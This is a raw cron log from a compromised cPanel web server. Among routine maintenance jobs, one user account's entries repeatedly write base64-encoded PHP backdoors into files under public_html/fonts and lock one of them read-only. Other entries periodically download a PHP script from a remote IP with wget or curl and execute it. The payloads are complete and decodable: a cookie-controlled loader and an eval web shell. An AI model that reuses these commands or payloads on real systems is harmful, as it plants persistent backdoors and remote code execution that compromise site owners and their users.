Sep  6 08:13:02 ip-184-168-122-23 CROND[7697]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 08:13:02 ip-184-168-122-23 CROND[7698]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 08:13:02 ip-184-168-122-23 CROND[7702]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 08:13:02 ip-184-168-122-23 CROND[7706]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 08:14:01 ip-184-168-122-23 CROND[7795]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 08:14:01 ip-184-168-122-23 CROND[7798]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 08:14:01 ip-184-168-122-23 CROND[7797]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 08:14:01 ip-184-168-122-23 CROND[7802]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 08:14:01 ip-184-168-122-23 CROND[7801]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 08:15:02 ip-184-168-122-23 CROND[7903]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep  6 08:15:02 ip-184-168-122-23 CROND[7904]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 08:15:02 ip-184-168-122-23 CROND[7909]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 08:15:02 ip-184-168-122-23 CROND[7910]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 08:15:02 ip-184-168-122-23 CROND[7912]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 08:15:02 ip-184-168-122-23 CROND[7911]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 08:15:02 ip-184-168-122-23 CROND[7913]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 08:16:01 ip-184-168-122-23 CROND[8016]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 08:16:01 ip-184-168-122-23 CROND[8017]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 08:16:01 ip-184-168-122-23 CROND[8018]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 08:16:01 ip-184-168-122-23 CROND[8022]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 08:16:01 ip-184-168-122-23 CROND[8023]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  6 08:16:01 ip-184-168-122-23 CROND[8025]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 08:17:01 ip-184-168-122-23 CROND[8126]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 08:17:01 ip-184-168-122-23 CROND[8128]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 08:17:01 ip-184-168-122-23 CROND[8131]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 08:17:01 ip-184-168-122-23 CROND[8129]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 08:18:02 ip-184-168-122-23 CROND[8338]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 08:18:02 ip-184-168-122-23 CROND[8340]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 08:18:02 ip-184-168-122-23 CROND[8341]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 08:18:02 ip-184-168-122-23 CROND[8342]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 08:18:02 ip-184-168-122-23 CROND[8343]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 08:19:01 ip-184-168-122-23 CROND[8432]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 08:19:01 ip-184-168-122-23 CROND[8433]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 08:19:01 ip-184-168-122-23 CROND[8434]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 08:19:01 ip-184-168-122-23 CROND[8431]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 08:20:01 ip-184-168-122-23 CROND[8525]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 08:20:01 ip-184-168-122-23 CROND[8527]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 08:20:01 ip-184-168-122-23 CROND[8530]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 08:20:01 ip-184-168-122-23 CROND[8532]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 08:20:01 ip-184-168-122-23 CROND[8533]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 08:20:01 ip-184-168-122-23 CROND[8531]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 08:20:01 ip-184-168-122-23 CROND[8538]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  6 08:20:01 ip-184-168-122-23 CROND[8537]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 08:20:01 ip-184-168-122-23 CROND[8536]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 08:21:01 ip-184-168-122-23 CROND[8636]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 08:21:01 ip-184-168-122-23 CROND[8637]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 08:21:01 ip-184-168-122-23 CROND[8638]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 08:21:01 ip-184-168-122-23 CROND[8639]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 08:22:01 ip-184-168-122-23 CROND[8732]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 08:22:01 ip-184-168-122-23 CROND[8733]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 08:22:01 ip-184-168-122-23 CROND[8735]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 08:22:01 ip-184-168-122-23 CROND[8736]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 08:22:01 ip-184-168-122-23 CROND[8737]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 08:23:01 ip-184-168-122-23 CROND[8820]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 08:23:01 ip-184-168-122-23 CROND[8822]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 08:23:01 ip-184-168-122-23 CROND[8823]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 08:23:01 ip-184-168-122-23 CROND[8821]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 08:24:01 ip-184-168-122-23 CROND[8923]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 08:24:01 ip-184-168-122-23 CROND[8925]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 08:24:01 ip-184-168-122-23 CROND[8926]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 08:24:01 ip-184-168-122-23 CROND[8928]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 08:24:01 ip-184-168-122-23 CROND[8927]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 08:25:01 ip-184-168-122-23 CROND[9014]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 08:25:01 ip-184-168-122-23 CROND[9016]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
